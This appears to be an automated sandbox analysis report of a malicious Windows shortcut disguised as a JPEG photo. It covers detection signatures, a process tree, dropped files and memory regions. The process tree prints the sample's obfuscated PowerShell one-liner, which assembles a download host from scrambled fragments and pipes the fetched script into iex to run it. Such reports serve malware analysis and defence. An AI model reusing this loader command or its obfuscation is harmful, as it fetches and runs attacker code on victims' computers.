Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 07:33

General

  • Target
    IMG_20260728_084609.jpg.lnk
  • Size 1KB
  • Sample260729-jdv6layblf
  • SHA256 726b7382a45100ebd5bfb9f6bce7ed7c5b0de8e6026ec5df9e1d0fbe834c2989
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_084609.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('.sh','photoi','w','r','nstayn','op','ser','v','o','e')[3,9,6,7,1,4,8,2,0,5] -join $vo0IMFWX) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jyvrwh1p\jyvrwh1p.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:252
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F84.tmp" "c:\Users\Admin\AppData\Local\Temp\jyvrwh1p\CSC75D903FD83248FEB02025AB5E872FA7.TMP"
          4⤵
            PID:3368

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES8F84.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES8F84.tmp
          • Size 1KB
          • SHA256 d6692940c42c17eafc12a7a21cfdc40c92e4d44ebd2306df208d35570a7e6b2c
          • MD5 SHA1 SHA512 TLSH

          jyvrwh1p.dll

          • Path C:\Users\Admin\AppData\Local\Temp\jyvrwh1p\jyvrwh1p.dll
          • Size 3KB
          • SHA256 2f19729fc070818d1c3fefb27a0a206aad6bf516fb08f5cee17cd950a3cb3542
          • MD5 SHA1 SHA512 TLSH

          CSC75D903FD83248FEB02025AB5E872FA7.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\jyvrwh1p\CSC75D903FD83248FEB02025AB5E872FA7.TMP
          • Size 652B
          • SHA256 0b15f7b645d8ac75df0bb7a1d317d8cc24da456fd720dcab892a602e4b7dd7db
          • MD5 SHA1 SHA512 TLSH

          jyvrwh1p.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\jyvrwh1p\jyvrwh1p.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          jyvrwh1p.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\jyvrwh1p\jyvrwh1p.cmdline
          • Size 369B
          • SHA256 121e288fb2516c1f6d26851cef7b90e4fff2b27621610e95ca2a829960427098
          • MD5 SHA1 SHA512 TLSH

          memory/4724-12-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-16-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-11-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-2-0x00007FFA6C02F000-0x00007FFA6C030000-memory.dmp

          memory/4724-13-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-14-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-15-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-10-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-9-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-8-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-7-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-6-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

          memory/4724-5-0x000001FAFFE70000-0x000001FAFFE92000-memory.dmp

          memory/4724-30-0x000001FA81AC0000-0x000001FA81AC8000-memory.dmp